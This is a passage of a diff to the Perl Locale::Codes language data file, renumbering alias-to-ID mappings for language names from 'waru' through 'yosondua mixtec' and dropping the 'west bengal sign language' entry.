+      q(7247),
       q(0),
       ],
    q(waru) => [
-      q(7213),
+      q(7211),
       q(0),
       ],
    q(warumungu) => [
-      q(7207),
+      q(7205),
       q(0),
       ],
    q(waruna) => [
-      q(7214),
+      q(7212),
       q(0),
       ],
    q(warungu) => [
-      q(7202),
+      q(7200),
       q(0),
       ],
    q(warwar feni) => [
-      q(2837),
+      q(2835),
       q(0),
       ],
    q(wasa) => [
-      q(7224),
+      q(7222),
       q(0),
       ],
    q(wasco-wishram) => [
-      q(7043),
+      q(7042),
       q(0),
       ],
    q(wasembo) => [
-      q(2636),
+      q(2634),
       q(0),
       ],
    q(washo) => [
-      q(0466),
+      q(0465),
       q(0),
       ],
    q(waskia) => [
-      q(7222),
+      q(7220),
       q(0),
       ],
    q(wasu) => [
-      q(7225),
+      q(7223),
       q(0),
       ],
    q(watakataui) => [
-      q(7230),
+      q(7228),
       q(0),
       ],
    q(watam) => [
-      q(7060),
+      q(7059),
       q(0),
       ],
    q(wathawurrung) => [
-      q(7228),
+      q(7226),
       q(0),
       ],
    q(watiwa) => [
-      q(7227),
+      q(7225),
       q(0),
       ],
    q(watubela) => [
-      q(7048),
+      q(7047),
       q(0),
       ],
    q(waube) => [
-      q(3512),
+      q(3511),
       q(0),
       ],
    q(waura) => [
-      q(7057),
+      q(7056),
       q(0),
       ],
    q(wauyai) => [
-      q(7245),
+      q(7243),
       q(0),
       ],
    q(wawa) => [
-      q(7250),
+      q(7248),
       q(0),
       ],
    q(wawonii) => [
-      q(7196),
+      q(7194),
       q(0),
       ],
    q(waxianghua) => [
-      q(7251),
+      q(7249),
       q(0),
       ],
    q(wayampi) => [
-      q(5339),
+      q(5335),
       q(0),
       ],
    q(wayana) => [
-      q(7061),
+      q(7060),
       q(0),
       ],
    q(wayanad chetti) => [
-      q(1895),
+      q(1894),
       q(0),
       ],
    q(wayoro) => [
-      q(7257),
+      q(7255),
       q(0),
       ],
    q(wayu) => [
-      q(6970),
+      q(6969),
       q(0),
       ],
    q(wayuu) => [
-      q(2642),
+      q(2640),
       q(0),
       ],
    q(we northern) => [
-      q(7183),
+      q(7181),
       q(0),
       ],
    q(we southern) => [
-      q(2691),
+      q(2689),
       q(0),
       ],
    q(we western) => [
-      q(7088),
+      q(7086),
       q(0),
       ],
    q(wedau) => [
-      q(7089),
+      q(7087),
       q(0),
       ],
    q(weh) => [
-      q(7091),
+      q(7089),
       q(0),
       ],
    q(wejewa) => [
-      q(7100),
+      q(7098),
       q(0),
       ],
    q(weliki) => [
-      q(3433),
+      q(3432),
       q(0),
       ],
    q(welsh) => [
-      q(0467),
+      q(0466),
       q(0),
       ],
    q(welsh romani) => [
-      q(5815),
+      q(5814),
       q(0),
       ],
    q(wemale) => [
-      q(7094),
+      q(7092),
       q(0),
       ],
    q(wemba wemba) => [
-      q(7544),
+      q(7541),
       q(0),
       ],
    q(weme gbe) => [
-      q(7093),
+      q(7091),
       q(0),
       ],
    q(wergaia) => [
-      q(7090),
+      q(7088),
       q(0),
       ],
    q(weri) => [
-      q(7096),
+      q(7094),
       q(0),
       ],
    q(wersing) => [
@@ -55767,47 +55705,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(west albay bikol) => [
-      q(2336),
+      q(2335),
       q(0),
       ],
    q(west ambae) => [
-      q(4984),
-      q(0),
-      ],
-   q(west bengal sign language) => [
-      q(7075),
+      q(4982),
       q(0),
       ],
    q(west berawan) => [
-      q(7817),
+      q(7814),
       q(0),
       ],
    q(west central banda) => [
-      q(1054),
+      q(1053),
       q(0),
       ],
    q(west central oromo) => [
-      q(2418),
+      q(2417),
       q(0),
       ],
    q(west coast bajau) => [
-      q(1107),
+      q(1106),
       q(0),
       ],
    q(west damar) => [
-      q(2135),
+      q(2134),
       q(0),
       ],
    q(west germanic languages) => [
-      q(0508),
+      q(0507),
       q(0),
       ],
    q(west goodenough) => [
-      q(1976),
+      q(1975),
       q(0),
       ],
    q(west kewa) => [
-      q(3278),
+      q(3276),
       q(0),
       ],
    q(west lembata) => [
@@ -55815,15 +55749,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(west makian) => [
-      q(4491),
+      q(4490),
       q(0),
       ],
    q(west masela) => [
-      q(4541),
+      q(4540),
       q(0),
       ],
    q(west slavic languages) => [
-      q(0537),
+      q(0536),
       q(0),
       ],
    q(west tarangan) => [
@@ -55831,11 +55765,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(west uvean) => [
-      q(6948),
+      q(6947),
       q(0),
       ],
    q(west yugur) => [
-      q(7586),
+      q(7583),
       q(0),
       ],
    q(west-central limba) => [
@@ -55843,75 +55777,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western abnaki) => [
-      q(0564),
+      q(0563),
       q(0),
       ],
    q(western apache) => [
-      q(0856),
+      q(0855),
       q(0),
       ],
    q(western arrarnta) => [
-      q(0871),
+      q(0870),
       q(0),
       ],
    q(western balochi) => [
-      q(1173),
+      q(1172),
       q(0),
       ],
    q(western bolivian guarani) => [
-      q(2581),
+      q(2579),
       q(0),
       ],
    q(western bru) => [
-      q(1442),
+      q(1441),
       q(0),
       ],
    q(western bukidnon manobo) => [
-      q(4121),
+      q(4120),
       q(0),
       ],
    q(western canadian inuktitut) => [
-      q(2944),
+      q(2941),
       q(1),
       ],
    q(western cham) => [
-      q(1740),
+      q(1739),
       q(0),
       ],
    q(western dani) => [
-      q(2105),
+      q(2104),
       q(0),
       ],
    q(western durango nahuatl) => [
-      q(1019),
+      q(1018),
       q(0),
       ],
    q(western fijian) => [
-      q(7258),
+      q(7256),
       q(0),
       ],
    q(western frisian) => [
-      q(0143),
+      q(0142),
       q(0),
       ],
    q(western highland chatino) => [
-      q(1893),
+      q(1892),
       q(0),
       ],
    q(western highland purepecha) => [
-      q(5633),
+      q(5630),
       q(0),
       ],
    q(western huasteca nahuatl) => [
-      q(4872),
+      q(4870),
       q(0),
       ],
    q(western juxtlahuaca mixtec) => [
-      q(3125),
+      q(3123),
       q(0),
       ],
    q(western kanjobal) => [
-      q(3485),
+      q(3484),
       q(0),
       ],
    q(western karaboro) => [
@@ -55927,7 +55861,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western keres) => [
-      q(3391),
+      q(3390),
       q(0),
       ],
    q(western krahn) => [
@@ -55935,7 +55869,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western lalu) => [
-      q(7772),
+      q(7769),
       q(0),
       ],
    q(western lawa) => [
@@ -55943,71 +55877,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western magar) => [
-      q(4502),
+      q(4501),
       q(0),
       ],
    q(western malayo-polynesian languages) => [
-      q(0523),
+      q(0522),
       q(0),
       ],
    q(western maninkakan) => [
-      q(4375),
+      q(4374),
       q(0),
       ],
    q(western mari) => [
-      q(4507),
+      q(4506),
       q(0),
       ],
    q(western mashan hmong) => [
-      q(2794),
+      q(2792),
       q(0),
       ],
    q(western mashan miao) => [
-      q(2794),
+      q(2792),
       q(1),
       ],
    q(western meohang) => [
-      q(5731),
+      q(5729),
       q(0),
       ],
    q(western muria) => [
-      q(4588),
+      q(4587),
       q(0),
       ],
    q(western neo-aramaic) => [
-      q(0787),
+      q(0786),
       q(0),
       ],
    q(western niger fulfulde) => [
-      q(2383),
+      q(2382),
       q(0),
       ],
    q(western ojibwa) => [
-      q(5219),
+      q(5215),
       q(0),
       ],
    q(western pahari languages) => [
-      q(0177),
+      q(0176),
       q(1),
       ],
    q(western panjabi) => [
-      q(5527),
+      q(5523),
       q(0),
       ],
    q(western parbate kham) => [
-      q(3386),
+      q(3385),
       q(0),
       ],
    q(western penan) => [
-      q(5529),
+      q(5525),
       q(0),
       ],
    q(western sisaala) => [
-      q(6229),
+      q(6230),
       q(0),
       ],
    q(western subanon) => [
-      q(6268),
+      q(6269),
       q(0),
       ],
    q(western tamang) => [
@@ -56019,7 +55953,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western tlacolula valley zapotec) => [
-      q(7791),
+      q(7788),
       q(0),
       ],
    q(western totonac) => [
@@ -56031,39 +55965,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(western xiangxi miao) => [
-      q(4400),
+      q(4399),
       q(0),
       ],
    q(western xwla gbe) => [
-      q(7540),
+      q(7537),
       q(0),
       ],
    q(western yiddish) => [
-      q(7633),
+      q(7630),
       q(0),
       ],
    q(westphalien) => [
-      q(7095),
+      q(7093),
       q(0),
       ],
    q(wetamut) => [
-      q(7248),
+      q(7246),
       q(0),
       ],
    q(wewaw) => [
-      q(7087),
+      q(7085),
       q(0),
       ],
    q(weyto) => [
-      q(7197),
+      q(7195),
       q(0),
       ],
    q(white gelao) => [
-      q(2525),
+      q(2523),
       q(0),
       ],
    q(white lachi) => [
-      q(4093),
+      q(4092),
       q(0),
       ],
    q(whitesands) => [
@@ -56075,59 +56009,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(wichi lhamtes guisnay) => [
-      q(4693),
+      q(4692),
       q(0),
       ],
    q(wichi lhamtes nocten) => [
-      q(4563),
+      q(4562),
       q(0),
       ],
    q(wichi lhamtes vejoz) => [
-      q(7150),
+      q(7148),
       q(0),
       ],
    q(wichita) => [
-      q(7114),
+      q(7112),
       q(0),
       ],
    q(wik-epa) => [
-      q(7115),
+      q(7113),
       q(0),
       ],
    q(wik-iiyanh) => [
-      q(7120),
+      q(7118),
       q(0),
       ],
    q(wik-keyangan) => [
-      q(7116),
+      q(7114),
       q(0),
       ],
    q(wik-me'anha) => [
-      q(7118),
+      q(7116),
       q(0),
       ],
    q(wik-mungkan) => [
-      q(7123),
+      q(7121),
       q(0),
       ],
    q(wik-ngathana) => [
-      q(7117),
+      q(7115),
       q(0),
       ],
    q(wikalkan) => [
-      q(7121),
+      q(7119),
       q(0),
       ],
    q(wikngenchera) => [
-      q(7233),
+      q(7231),
       q(0),
       ],
    q(wilawila) => [
-      q(7122),
+      q(7120),
       q(0),
       ],
    q(wintu) => [
-      q(7180),
+      q(7178),
       q(0),
       ],
    q(winye) => [
@@ -56135,207 +56069,207 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(wipi) => [
-      q(2466),
+      q(2465),
       q(0),
       ],
    q(wiradhuri) => [
-      q(7203),
+      q(7201),
       q(0),
       ],
    q(wirafed) => [
-      q(7125),
+      q(7123),
       q(0),
       ],
    q(wirangu) => [
-      q(7107),
+      q(7105),
       q(0),
       ],
    q(wiru) => [
-      q(7126),
+      q(7124),
       q(0),
       ],
    q(wiyot) => [
-      q(7128),
+      q(7126),
       q(0),
       ],
    q(woccon) => [
-      q(7534),
+      q(7531),
       q(0),
       ],
    q(wogamusin) => [
-      q(7188),
+      q(7186),
       q(0),
       ],
    q(wogeo) => [
-      q(7184),
+      q(7182),
       q(0),
       ],
    q(woi) => [
-      q(7078),
+      q(7076),
       q(0),
       ],
    q(woiwurrung) => [
-      q(7255),
+      q(7253),
       q(0),
       ],
    q(wojenaka) => [
-      q(3134),
+      q(3132),
       q(0),
       ],
    q(wolaitta) => [
-      q(0464),
+      q(0463),
       q(2),
       ],
    q(wolane) => [
-      q(7140),
+      q(7138),
       q(0),
       ],
    q(wolani) => [
-      q(7185),
+      q(7183),
       q(0),
       ],
    q(wolaytta) => [
-      q(0464),
+      q(0463),
       q(1),
       ],
    q(woleaian) => [
-      q(7186),
+      q(7184),
       q(0),
       ],
    q(wolio) => [
-      q(7146),
+      q(7144),
       q(0),
       ],
    q(wolof) => [
-      q(0470),
+      q(0469),
       q(0),
       ],
    q(wom (nigeria)) => [
-      q(7191),
+      q(7189),
       q(0),
       ],
    q(wom (papua new guinea)) => [
-      q(7163),
+      q(7161),
       q(0),
       ],
    q(womo) => [
-      q(7167),
+      q(7165),
       q(0),
       ],
    q(wongo) => [
-      q(7192),
+      q(7190),
       q(0),
       ],
    q(woods cree) => [
-      q(1920),
+      q(1919),
       q(0),
       ],
    q(woria) => [
-      q(7194),
+      q(7192),
       q(0),
       ],
    q(worimi) => [
-      q(3234),
+      q(3232),
       q(0),
       ],
    q(worodougou) => [
-      q(3149),
+      q(3147),
       q(0),
       ],
    q(worrorra) => [
-      q(7209),
+      q(7207),
       q(0),
       ],
    q(wotapuri-katarqalai) => [
-      q(7226),
+      q(7224),
       q(0),
       ],
    q(wotjobaluk) => [
-      q(7543),
+      q(7540),
       q(0),
       ],
    q(wotu) => [
-      q(7232),
+      q(7230),
       q(0),
       ],
    q(woun meu) => [
-      q(5005),
+      q(5003),
       q(0),
       ],
    q(written oirat) => [
-      q(7541),
+      q(7538),
       q(0),
       ],
    q(wu chinese) => [
-      q(7242),
+      q(7240),
       q(0),
       ],
    q(wuding-luquan yi) => [
-      q(7774),
+      q(7771),
       q(0),
       ],
    q(wudu) => [
-      q(7235),
+      q(7233),
       q(0),
       ],
    q(wuliwuli) => [
-      q(7149),
+      q(7147),
       q(0),
       ],
    q(wulna) => [
-      q(7244),
+      q(7242),
       q(0),
       ],
    q(wumboko) => [
-      q(1409),
+      q(1408),
       q(0),
       ],
    q(wumbvu) => [
-      q(7238),
+      q(7236),
       q(0),
       ],
    q(wumeng nasu) => [
-      q(7777),
+      q(7774),
       q(0),
       ],
    q(wunai bunu) => [
-      q(1554),
+      q(1553),
       q(0),
       ],
    q(wunambal) => [
-      q(7234),
+      q(7232),
       q(0),
       ],
    q(wunumara) => [
-      q(7176),
+      q(7174),
       q(0),
       ],
    q(wurrugu) => [
-      q(7240),
+      q(7238),
       q(0),
       ],
    q(wusa nasu) => [
-      q(7632),
+      q(7629),
       q(0),
       ],
    q(wushi) => [
-      q(1450),
+      q(1449),
       q(0),
       ],
    q(wusi) => [
-      q(7221),
+      q(7219),
       q(0),
       ],
    q(wutung) => [
-      q(7241),
+      q(7239),
       q(0),
       ],
    q(wutunhua) => [
-      q(7236),
+      q(7234),
       q(0),
       ],
    q(wuvulu-aua) => [
-      q(7243),
+      q(7241),
       q(0),
       ],
    q(wuzlam) => [
@@ -56343,71 +56277,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(wyandot) => [
-      q(7253),
+      q(7251),
       q(0),
       ],
    q(wymysorys) => [
-      q(7256),
+      q(7254),
       q(0),
       ],
    q(xaasongaxango) => [
-      q(3178),
+      q(3176),
       q(0),
       ],
    q(xadani zapotec) => [
-      q(7811),
+      q(7808),
       q(0),
       ],
    q(xakriaba) => [
-      q(7370),
+      q(7367),
       q(0),
       ],
    q(xam) => [
-      q(7268),
+      q(7266),
       q(1),
       ],
    q(xamtanga) => [
-      q(7269),
+      q(7267),
       q(0),
       ],
    q(xanaguia zapotec) => [
-      q(7939),
+      q(7936),
       q(0),
       ],
    q(xaracuu) => [
-      q(0795),
+      q(0794),
       q(0),
       ],
    q(xaragure) => [
-      q(0992),
+      q(0991),
       q(0),
       ],
    q(xavante) => [
-      q(7277),
+      q(7275),
       q(0),
       ],
    q(xegwi) => [
-      q(7317),
+      q(7314),
       q(1),
       ],
    q(xerente) => [
-      q(7321),
+      q(7318),
       q(0),
       ],
    q(xeta) => [
-      q(7323),
+      q(7320),
       q(0),
       ],
    q(xhosa) => [
-      q(0472),
+      q(0471),
       q(0),
       ],
    q(xiang chinese) => [
-      q(2842),
+      q(2840),
       q(0),
       ],
    q(xibe) => [
-      q(6055),
+      q(6054),
       q(0),
       ],
    q(xicotepec de juarez totonac) => [
@@ -56415,75 +56349,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(xinca) => [
-      q(7348),
+      q(7345),
       q(0),
       ],
    q(xingu asurini) => [
-      q(0898),
+      q(0897),
       q(0),
       ],
    q(xipaya) => [
-      q(7352),
+      q(7349),
       q(0),
       ],
    q(xiri) => [
-      q(7346),
+      q(7343),
       q(0),
       ],
    q(xiriana) => [
-      q(7349),
+      q(7346),
       q(0),
       ],
    q(xishanba lalo) => [
-      q(7776),
+      q(7773),
       q(0),
       ],
    q(xokleng) => [
-      q(7435),
+      q(7432),
       q(0),
       ],
    q(xoo) => [
-      q(4968),
+      q(4966),
       q(1),
       ],
    q(xukuru) => [
-      q(7438),
+      q(7435),
       q(0),
       ],
    q(xwela gbe) => [
-      q(7536),
+      q(7533),
       q(0),
       ],
    q(yaaku) => [
-      q(4589),
+      q(4588),
       q(0),
       ],
    q(yabaana) => [
-      q(7593),
+      q(7590),
       q(0),
       ],
    q(yabarana) => [
-      q(7575),
+      q(7572),
       q(0),
       ],
    q(yabem) => [
-      q(3043),
+      q(3040),
       q(0),
       ],
    q(yaben) => [
-      q(7592),
+      q(7589),
       q(0),
       ],
    q(yabong) => [
-      q(7594),
+      q(7591),
       q(0),
       ],
    q(yabula yabula) => [
-      q(7784),
+      q(7781),
       q(0),
       ],
    q(yace) => [
-      q(2237),
+      q(2236),
       q(0),
       ],
    q(yaeyama) => [
@@ -56491,139 +56425,139 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yafi) => [
-      q(7101),
+      q(7099),
       q(0),
       ],
    q(yagara) => [
-      q(7780),
+      q(7777),
       q(0),
       ],
    q(yagaria) => [
-      q(7623),
+      q(7620),
       q(0),
       ],
    q(yagnobi) => [
-      q(7568),
+      q(7565),
       q(0),
       ],
    q(yagomi) => [
-      q(7621),
+      q(7618),
       q(0),
       ],
    q(yagua) => [
-      q(7563),
+      q(7560),
       q(0),
       ],
    q(yagwoia) => [
-      q(7626),
+      q(7623),
       q(0),
       ],
    q(yahadian) => [
-      q(4815),
+      q(4813),
       q(0),
       ],
    q(yahang) => [
-      q(5776),
+      q(5774),
       q(0),
       ],
    q(yahuna) => [
-      q(7701),
+      q(7698),
       q(0),
       ],
    q(yaka (central african republic)) => [
-      q(0989),
+      q(0988),
       q(0),
       ],
    q(yaka (congo)) => [
-      q(3035),
+      q(3032),
       q(0),
       ],
    q(yaka (democratic republic of congo)) => [
-      q(7565),
+      q(7562),
       q(0),
       ],
    q(yakaikeke) => [
-      q(7652),
+      q(7649),
       q(0),
       ],
    q(yakama) => [
-      q(7570),
+      q(7567),
       q(0),
       ],
    q(yakan) => [
-      q(7649),
+      q(7646),
       q(0),
       ],
    q(yakha) => [
-      q(7587),
+      q(7584),
       q(0),
       ],
    q(yakoma) => [
-      q(7660),
+      q(7657),
       q(0),
       ],
    q(yakut) => [
-      q(0367),
+      q(0366),
       q(0),
       ],
    q(yala) => [
-      q(7584),
+      q(7581),
       q(0),
       ],
    q(yalahatan) => [
-      q(3048),
+      q(3045),
       q(0),
       ],
    q(yalakalore) => [
-      q(7554),
+      q(7551),
       q(0),
       ],
    q(yalalag zapotec) => [
-      q(7919),
+      q(7916),
       q(0),
       ],
    q(yalarnnga) => [
-      q(7670),
+      q(7667),
       q(0),
       ],
    q(yale) => [
-      q(4758),
+      q(4757),
       q(0),
       ],
    q(yaleba) => [
-      q(7662),
+      q(7659),
       q(0),
       ],
    q(yalunka) => [
-      q(7571),
+      q(7568),
       q(0),
       ],
    q(yamana) => [
-      q(7566),
+      q(7563),
       q(0),
       ],
    q(yamap) => [
-      q(7685),
+      q(7682),
       q(0),
       ],
    q(yamba) => [
-      q(7572),
+      q(7569),
       q(0),
       ],
    q(yambes) => [
-      q(7673),
+      q(7670),
       q(0),
       ],
    q(yambeta) => [
-      q(7577),
+      q(7574),
       q(0),
       ],
    q(yamdena) => [
-      q(3118),
+      q(3116),
       q(0),
       ],
    q(yameo) => [
-      q(7676),
+      q(7673),
       q(0),
       ],
    q(yami) => [
@@ -56631,259 +56565,259 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yaminahua) => [
-      q(7560),
+      q(7557),
       q(0),
       ],
    q(yamna) => [
-      q(7683),
+      q(7680),
       q(0),
       ],
    q(yamongeri) => [
-      q(7677),
+      q(7674),
       q(0),
       ],
    q(yamphu) => [
-      q(7588),
+      q(7585),
       q(0),
       ],
    q(yan-nhangu) => [
-      q(3057),
+      q(3054),
       q(0),
       ],
    q(yan-nhanu sign language) => [
-      q(7630),
+      q(7627),
       q(0),
       ],
    q(yana) => [
-      q(7697),
+      q(7694),
       q(0),
       ],
    q(yanahuanca pasco quechua) => [
-      q(5684),
+      q(5682),
       q(0),
       ],
    q(yanda) => [
-      q(7601),
+      q(7598),
       q(0),
       ],
    q(yanda dom dogon) => [
-      q(2199),
+      q(2198),
       q(0),
       ],
    q(yandjibara) => [
-      q(7551),
+      q(7548),
       q(0),
       ],
    q(yandruwandha) => [
-      q(7692),
+      q(7689),
       q(0),
       ],
    q(yanesha') => [
-      q(0770),
+      q(0769),
       q(0),
       ],
    q(yang zhuang) => [
-      q(7956),
+      q(7953),
       q(0),
       ],
    q(yangben) => [
-      q(7579),
+      q(7576),
       q(0),
       ],
    q(yangkam) => [
-      q(1469),
+      q(1468),
       q(0),
       ],
    q(yangman) => [
-      q(3128),
+      q(3126),
       q(0),
       ],
    q(yango) => [
-      q(7694),
+      q(7691),
       q(0),
       ],
    q(yangulam) => [
-      q(7696),
+      q(7693),
       q(0),
       ],
    q(yangum dey) => [
-      q(7603),
+      q(7600),
       q(0),
       ],
    q(yangum gel) => [
-      q(7620),
+      q(7617),
       q(0),
       ],
    q(yangum mon) => [
-      q(7684),
+      q(7681),
       q(0),
       ],
    q(yankunytjatjara) => [
-      q(3236),
+      q(3234),
       q(0),
       ],
    q(yanomami) => [
-      q(7079),
+      q(7077),
       q(0),
       ],
    q(yanomamo) => [
-      q(2659),
+      q(2657),
       q(0),
       ],
    q(yansi) => [
-      q(7700),
+      q(7697),
       q(0),
       ],
    q(yanyuwa) => [
-      q(3051),
+      q(3048),
       q(0),
       ],
    q(yao) => [
-      q(0473),
+      q(0472),
       q(0),
       ],
    q(yaosakor asmat) => [
-      q(0908),
+      q(0907),
       q(0),
       ],
    q(yaoure) => [
-      q(7723),
+      q(7720),
       q(0),
       ],
    q(yapese) => [
-      q(0474),
+      q(0473),
       q(0),
       ],
    q(yapunda) => [
-      q(7616),
+      q(7613),
       q(0),
       ],
    q(yaqay) => [
-      q(3052),
+      q(3049),
       q(0),
       ],
    q(yaqui) => [
-      q(7574),
+      q(7571),
       q(0),
       ],
    q(yarawata) => [
-      q(7730),
+      q(7727),
       q(0),
       ],
    q(yardliyawarra) => [
-      q(7781),
+      q(7778),
       q(0),
       ],
    q(yareba) => [
-      q(7722),
+      q(7719),
       q(0),
       ],
    q(yareni zapotec) => [
-      q(7794),
+      q(7791),
       q(0),
       ],
    q(yarluyandi) => [
-      q(7731),
+      q(7728),
       q(0),
       ],
    q(yaroame) => [
-      q(7728),
+      q(7725),
       q(0),
       ],
    q(yarsun) => [
-      q(7729),
+      q(7726),
       q(0),
       ],
    q(yasa) => [
-      q(7656),
+      q(7653),
       q(0),
       ],
    q(yassic) => [
-      q(7732),
+      q(7729),
       q(0),
       ],
    q(yatay) => [
-      q(7746),
+      q(7743),
       q(0),
       ],
    q(yatee zapotec) => [
-      q(7949),
+      q(7946),
       q(0),
       ],
    q(yatzachi zapotec) => [
-      q(7809),
+      q(7806),
       q(0),
       ],
    q(yau (morobe province)) => [
-      q(7764),
+      q(7761),
       q(0),
       ],
    q(yau (sandaun province)) => [
-      q(7786),
+      q(7783),
       q(0),
       ],
    q(yaul) => [
-      q(7661),
+      q(7658),
       q(0),
       ],
    q(yauma) => [
-      q(7581),
+      q(7578),
       q(0),
       ],
    q(yaur) => [
-      q(3055),
+      q(3052),
       q(0),
       ],
    q(yautepec zapotec) => [
-      q(7900),
+      q(7897),
       q(0),
       ],
    q(yauyos quechua) => [
-      q(5688),
+      q(5686),
       q(0),
       ],
    q(yavitero) => [
-      q(7769),
+      q(7766),
       q(0),
       ],
    q(yawa) => [
-      q(7768),
+      q(7765),
       q(0),
       ],
    q(yawalapiti) => [
-      q(7580),
+      q(7577),
       q(0),
       ],
    q(yawanawa) => [
-      q(7773),
+      q(7770),
       q(0),
       ],
    q(yawarawarga) => [
-      q(7778),
+      q(7775),
       q(0),
       ],
    q(yaweyuha) => [
-      q(7596),
+      q(7593),
       q(0),
       ],
    q(yawijibaya) => [
-      q(3067),
+      q(3064),
       q(0),
       ],
    q(yawiyo) => [
-      q(7595),
+      q(7592),
       q(0),
       ],
    q(yawuru) => [
-      q(7775),
+      q(7772),
       q(0),
       ],
    q(yaygir) => [
-      q(7550),
+      q(7547),
       q(0),
       ],
    q(yazgulyam) => [
-      q(7567),
+      q(7564),
       q(0),
       ],
    q(yecuatla totonac) => [
@@ -56891,107 +56825,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yei) => [
-      q(3076),
+      q(3074),
       q(0),
       ],
    q(yekhee) => [
-      q(2306),
+      q(2305),
       q(0),
       ],
    q(yekora) => [
-      q(7657),
+      q(7654),
       q(0),
       ],
    q(yela) => [
-      q(7611),
+      q(7608),
       q(0),
       ],
    q(yele) => [
-      q(7663),
+      q(7660),
       q(0),
       ],
    q(yelmek) => [
-      q(3078),
+      q(3076),
       q(0),
       ],
    q(yelogu) => [
-      q(7664),
+      q(7661),
       q(0),
       ],
    q(yemba) => [
-      q(7585),
+      q(7582),
       q(0),
       ],
    q(yemsa) => [
-      q(3130),
+      q(3128),
       q(0),
       ],
    q(yendang) => [
-      q(7699),
+      q(7696),
       q(0),
       ],
    q(yeni) => [
-      q(7609),
+      q(7606),
       q(0),
       ],
    q(yeniche) => [
-      q(7607),
+      q(7604),
       q(0),
       ],
    q(yerakai) => [
-      q(7721),
+      q(7718),
       q(0),
       ],
    q(yeretuar) => [
-      q(2596),
+      q(2594),
       q(0),
       ],
    q(yerong) => [
-      q(7727),
+      q(7724),
       q(0),
       ],
    q(yerukula) => [
-      q(7615),
+      q(7612),
       q(0),
       ],
    q(yessan-mayo) => [
-      q(7740),
+      q(7737),
       q(0),
       ],
    q(yetfa) => [
-      q(7614),
+      q(7611),
       q(0),
       ],
    q(yevanic) => [
-      q(7610),
+      q(7607),
       q(0),
       ],
    q(yeyi) => [
-      q(7617),
+      q(7614),
       q(0),
       ],
    q(yiddish) => [
-      q(0475),
+      q(0474),
       q(0),
       ],
    q(yidgha) => [
-      q(7604),
+      q(7601),
       q(0),
       ],
    q(yidiny) => [
-      q(7634),
+      q(7631),
       q(0),
       ],
    q(yil) => [
-      q(7666),
+      q(7663),
       q(0),
       ],
    q(yimas) => [
-      q(7608),
+      q(7605),
       q(0),
       ],
    q(yimchungru naga) => [
-      q(7638),
+      q(7635),
       q(0),
       ],
    q(yinbaw karen) => [
@@ -56999,31 +56933,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yinchia) => [
-      q(7639),
+      q(7636),
       q(0),
       ],
    q(yindjibarndi) => [
-      q(7635),
+      q(7632),
       q(0),
       ],
    q(yindjilandji) => [
-      q(7637),
+      q(7634),
       q(0),
       ],
    q(yine) => [
-      q(5447),
+      q(5443),
       q(0),
       ],
    q(yinggarda) => [
-      q(7631),
+      q(7628),
       q(0),
       ],
    q(yinhawangka) => [
-      q(7771),
+      q(7768),
       q(0),
       ],
    q(yiningayi) => [
-      q(7619),
+      q(7616),
       q(0),
       ],
    q(yintale) => [
@@ -57035,15 +56969,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yinwum) => [
-      q(7782),
+      q(7779),
       q(0),
       ],
    q(yipma) => [
-      q(1605),
+      q(1604),
       q(1),
       ],
    q(yir yoront) => [
-      q(7785),
+      q(7782),
       q(0),
       ],
    q(yirandali) => [
@@ -57051,207 +56985,207 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(yirrk-mel) => [
-      q(7726),
+      q(7723),
       q(0),
       ],
    q(yis) => [
-      q(7643),
+      q(7640),
       q(0),
       ],
    q(yitha yitha) => [
-      q(7498),
+      q(7495),
       q(0),
       ],
    q(yoba) => [
-      q(7702),
+      q(7699),
       q(0),
       ],
    q(yocoboue dida) => [
-      q(2643),
+      q(2641),
       q(0),
       ],
    q(yogad) => [
-      q(7703),
+      q(7700),
       q(0),
       ],
    q(yoidik) => [
-      q(7605),
+      q(7602),
       q(0),
       ],
    q(yoke) => [
-      q(7651),
+      q(7648),
       q(0),
       ],
    q(yokuts) => [
-      q(7705),
+      q(7702),
       q(0),
       ],
    q(yola) => [
-      q(7706),
+      q(7703),
       q(0),
       ],
    q(yolnu sign language) => [
-      q(7624),
+      q(7621),
       q(0),
       ],
    q(yoloxochitl mixtec) => [
-      q(7513),
+      q(7510),
       q(0),
       ],
    q(yom) => [
-      q(5456),
+      q(5452),
       q(0),
       ],
    q(yombe) => [
-      q(7707),
+      q(7704),
       q(0),
       ],
    q(yonaguni) => [
-      q(7704),
+      q(7701),
       q(0),
       ],
    q(yong) => [
-      q(7698),
+      q(7695),
       q(0),
       ],
    q(yongbei zhuang) => [
-      q(7955),
+      q(7952),
       q(0),
       ],
    q(yongkom) => [
-      q(7708),
+      q(7705),
       q(0),
       ],
    q(yongnan zhuang) => [
-      q(7958),
+      q(7955),
       q(0),
       ],
    q(yopno) => [
-      q(7763),
+      q(7760),
       q(0),
       ],
    q(yora) => [
-      q(4566),
+      q(4565),
       q(0),
       ],
    q(yoron) => [
-      q(7710),
+      q(7707),
       q(0),
       ],
    q(yorta yorta) => [
-      q(7556),
+      q(7553),
       q(0),
       ],
    q(yoruba) => [
-      q(0476),
+      q(0475),
       q(0),
       ],
    q(yosondua mixtec) => [
-      q(4460),
+      q(4459),
       q(0),
       ],
